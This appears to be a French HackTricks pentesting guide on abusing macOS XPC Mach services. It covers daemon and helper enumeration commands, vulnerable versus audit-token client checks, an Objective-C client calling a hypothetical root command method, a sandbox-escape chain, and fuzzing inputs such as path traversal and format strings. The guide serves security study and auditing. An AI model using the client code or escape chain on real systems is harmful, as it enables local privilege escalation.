macOS XPC Mach Services Abus
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
Informations de base
XPC (communication inter-processus) est le principal mécanisme IPC sur macOS. Les daemons système exposent des Mach services — des ports nommés enregistrés auprès de launchd — auxquels d’autres processus peuvent se connecter via NSXPCConnection.
Chaque plist de LaunchDaemon et LaunchAgent contenant une clé MachServices enregistre un ou plusieurs ports Mach nommés. Ce sont des points de terminaison XPC accessibles au niveau système auxquels n’importe quel processus peut tenter de se connecter.
Warning
Les XPC Mach services sont la single largest local privilege escalation attack surface sur macOS. La plupart des local root exploits ces dernières années ont transité par des services XPC vulnérables dans les LaunchDaemons. Chaque méthode exposée dans un daemon exécuté en root est un potentiel escalation vector.
Architecture
Client Process (user context)
↓ NSXPCConnection / xpc_connection_create_mach_service()
↓ Mach message via launchd
Daemon Process (root context)
↓ Receives XPC message
↓ (Should verify client identity / entitlements)
↓ Performs privileged operation
Énumération
Trouver des Daemons avec Mach Services
# Find all LaunchDaemons with MachServices
find /Library/LaunchDaemons /System/Library/LaunchDaemons -name "*.plist" -exec sh -c '
plutil -p "{}" 2>/dev/null | grep -q "MachServices" && echo "{}"
' \; 2>/dev/null
# List active Mach services
sudo launchctl dumpstate 2>/dev/null | grep -E "name = " | sort -u | head -50
# List all launchd services
launchctl list
# Check a specific daemon's Mach services
plutil -p /Library/LaunchDaemons/com.example.daemon.plist 2>/dev/null
# Using the scanner
sqlite3 /tmp/executables.db "
SELECT e.path, e.privileged, e.isDaemon
FROM executables e
WHERE e.isDaemon = 1
ORDER BY e.privileged DESC
LIMIT 50;"
Énumération des interfaces XPC
Une fois que vous avez identifié un daemon, effectuez la rétro-ingénierie de son interface XPC :
# Find the protocol definition in the binary
strings /path/to/daemon | grep -i "protocol\|interface\|xpc\|method"
# Use class-dump to extract ObjC protocol definitions
class-dump /path/to/daemon | grep -A20 "@protocol"
# Check for XPC service bundles inside app bundles
find /Applications -path "*/XPCServices/*.xpc" 2>/dev/null
XPC Vulnérabilités de vérification du client
La classe de vulnérabilité la plus courante dans les services XPC est vérification insuffisante du client. Le daemon devrait vérifier :
- signature du code du processus se connectant
- Entitlements du processus se connectant
- Audit token (pas PID, qui peut être réutilisé)
Modèle vulnérable : aucune vérification
// VULNERABLE — daemon accepts any connection
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES; // No verification!
}
Modèle vulnérable : PID-Based Verification (Race Condition)
// VULNERABLE — PID can be reused between check and use
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
pid_t pid = newConnection.processIdentifier;
// Attacker can win race: spawn legitimate process → get PID → kill it → exploit process reuses PID
if ([self isAuthorizedPID:pid]) {
[newConnection resume];
return YES;
}
return NO;
}
Modèle sécurisé : vérification du token d’audit
// SECURE — Uses audit token which cannot be spoofed
- (BOOL)listener:(NSXPCListener *)listener
shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
audit_token_t token = newConnection.auditToken;
// Verify code signature via audit token
SecCodeRef code = NULL;
NSDictionary *attributes = @{(__bridge NSString *)kSecGuestAttributeAudit:
[NSData dataWithBytes:&token length:sizeof(token)]};
SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef)attributes,
kSecCSDefaultFlags, &code);
// Verify the signature matches expected signing identity
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(
CFSTR("identifier \"com.apple.expected\" and anchor apple"),
kSecCSDefaultFlags, &requirement);
OSStatus status = SecCodeCheckValidity(code, kSecCSDefaultFlags, requirement);
if (status == errSecSuccess) {
[newConnection resume];
return YES;
}
return NO;
}
Attaque : Connexion à des services XPC non protégés
// Minimal XPC client — connect to a LaunchDaemon's Mach service
#import <Foundation/Foundation.h>
@protocol VulnDaemonProtocol
- (void)runCommandAsRoot:(NSString *)command withReply:(void (^)(NSString *))reply;
@end
int main(void) {
@autoreleasepool {
NSXPCConnection *conn = [[NSXPCConnection alloc]
initWithMachServiceName:@"com.example.vulndaemon"
options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(VulnDaemonProtocol)];
[conn resume];
id<VulnDaemonProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"Connection error: %@", error);
}];
// If the daemon doesn't verify our identity, this works:
[proxy runCommandAsRoot:@"id" withReply:^(NSString *result) {
NSLog(@"Result: %@", result);
// Output: uid=0(root)
}];
[[NSRunLoop currentRunLoop] run];
}
}
Attaque : XPC Object Deserialization
Les services XPC qui acceptent des objets complexes (NSSecureCoding conformes) peuvent être vulnérables aux deserialization attacks :
// If the daemon accepts NSObject subclasses via XPC:
// An attacker can send a crafted object that triggers:
// 1. Type confusion (wrong class instantiated)
// 2. Path traversal (filename objects with ../)
// 3. Format string bugs (string objects as format arguments)
// 4. Integer overflow (large numeric values)
Mach-Lookup Sandbox Exceptions
Comment les exceptions permettent Sandbox Escape
Les applications sandboxed peuvent normalement uniquement communiquer avec leurs propres XPC services. Cependant, mach-lookup exceptions permettent d’atteindre des services à l’échelle du système :
<!-- Entitlement granting mach-lookup exception -->
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.system.opendirectoryd.api</string>
<string>com.apple.SecurityServer</string>
<string>com.apple.CoreServices.coreservicesd</string>
</array>
Trouver des applications avec des exceptions trop larges
# Find sandboxed apps with mach-lookup exceptions
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)"
[ -f "$binary" ] && {
ents=$(codesign -d --entitlements - "$binary" 2>&1)
echo "$ents" | grep -q "mach-lookup" && {
echo "=== $(basename "$1") ==="
echo "$ents" | grep -B1 -A10 "mach-lookup"
}
}
' _ {} \; 2>/dev/null
Sandbox Escape Chain
1. Compromise sandboxed app (e.g., via renderer exploit in browser/email)
2. Enumerate mach-lookup exceptions from entitlements
3. Connect to each reachable system daemon
4. Fuzz the daemon's XPC interface for vulnerabilities
5. Exploit a daemon bug → code execution outside the sandbox
6. Escalate from daemon's privilege level (often root)
Outils auxiliaires privilégiés (SMJobBless)
Comment ils fonctionnent
SMJobBless installe un outil auxiliaire privilégié qui s’exécute en tant que root via launchd. L’outil communique avec son application parente via XPC:
App (user context) ←→ XPC ←→ Helper (root via launchd)
Vulnérabilité courante : autorisations faibles
// Many helpers check authorization but:
// 1. Don't verify WHO is connecting (any process can connect)
// 2. Use rights that any admin can obtain
// 3. Cache authorization decisions
// VULNERABLE helper pattern:
- (void)performPrivilegedAction:(NSString *)action
authorization:(NSData *)authData
withReply:(void (^)(BOOL))reply {
AuthorizationRef auth;
AuthorizationCreateFromExternalForm(
(AuthorizationExternalForm *)authData.bytes, &auth);
// Only checks if caller has generic admin right
// But doesn't verify the caller is the app that installed the helper!
AuthorizationItem item = {kAuthorizationRightExecute, 0, NULL, 0};
AuthorizationRights rights = {1, &item};
if (AuthorizationCopyRights(auth, &rights, NULL,
kAuthorizationFlagDefaults, NULL) == errAuthorizationSuccess) {
// Performs action as root...
reply(YES);
}
}
Exploiting Weak Helpers
# 1. Find installed privileged helpers
ls /Library/PrivilegedHelperTools/
# 2. Find their LaunchDaemon plists
ls /Library/LaunchDaemons/ | grep -v "com.apple"
# 3. Check the helper's XPC interface
class-dump /Library/PrivilegedHelperTools/com.example.helper | grep -A20 "@protocol"
# 4. Check if the parent app properly verifies connections
strings /Library/PrivilegedHelperTools/com.example.helper | grep -i "codesign\|requirement\|anchor\|audit"
# If no code-signing verification strings → likely vulnerable
XPC Fuzzing
# Basic XPC fuzzing approach:
# 1. Identify the target service and protocol
plutil -p /Library/LaunchDaemons/com.example.daemon.plist
class-dump /path/to/daemon
# 2. For each exposed method, test:
# - NULL arguments
# - Empty strings
# - Very long strings (buffer overflow)
# - Path traversal strings (../../etc/passwd)
# - Format strings (%n%n%n%n)
# - Integer boundary values (INT_MAX, -1, 0)
# - Unexpected object types (send NSDictionary where NSString expected)
# 3. Monitor for crashes
log stream --predicate 'process == "daemon-name" AND (eventMessage CONTAINS "crash" OR eventMessage CONTAINS "fault")'
CVE réelles
| CVE | Description |
|---|---|
| CVE-2023-41993 | Vulnérabilité de désérialisation d’un service XPC |
| CVE-2022-22616 | Contournement de Gatekeeper via l’abus d’un service XPC |
| CVE-2021-30657 | Escalade de privilèges XPC dans sysmond |
| CVE-2020-9839 | Condition de course XPC dans le daemon système |
| CVE-2019-8802 | Outil helper privilégié sans vérification du client |
| CVE-2023-32369 | Migraine — contournement de SIP via l’XPC systemmigrationd |
| CVE-2022-26712 | Escalade de privilèges root via XPC dans PackageKit |
Script d’énumération
#!/bin/bash
echo "=== XPC Mach Services Security Audit ==="
echo -e "\n[*] Third-party privileged helpers:"
for helper in /Library/PrivilegedHelperTools/*; do
[ -f "$helper" ] || continue
echo " $helper"
codesign -dvv "$helper" 2>&1 | grep "Authority\|TeamIdentifier" | sed 's/^/ /'
done
echo -e "\n[*] Third-party LaunchDaemons with MachServices:"
for plist in /Library/LaunchDaemons/*.plist; do
plutil -p "$plist" 2>/dev/null | grep -q "MachServices" && {
echo " $plist"
plutil -p "$plist" | grep -A5 "MachServices" | sed 's/^/ /'
}
done
echo -e "\n[*] User LaunchAgents with MachServices:"
for plist in ~/Library/LaunchAgents/*.plist; do
plutil -p "$plist" 2>/dev/null | grep -q "MachServices" && {
echo " $plist"
plutil -p "$plist" | grep -A5 "MachServices" | sed 's/^/ /'
}
done
Références
- Apple Developer — XPC Services
- Apple Developer — Daemons and Services Programming Guide
- Objective-See — XPC Exploitation
- OBTS — XPC Attack Surface talks
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


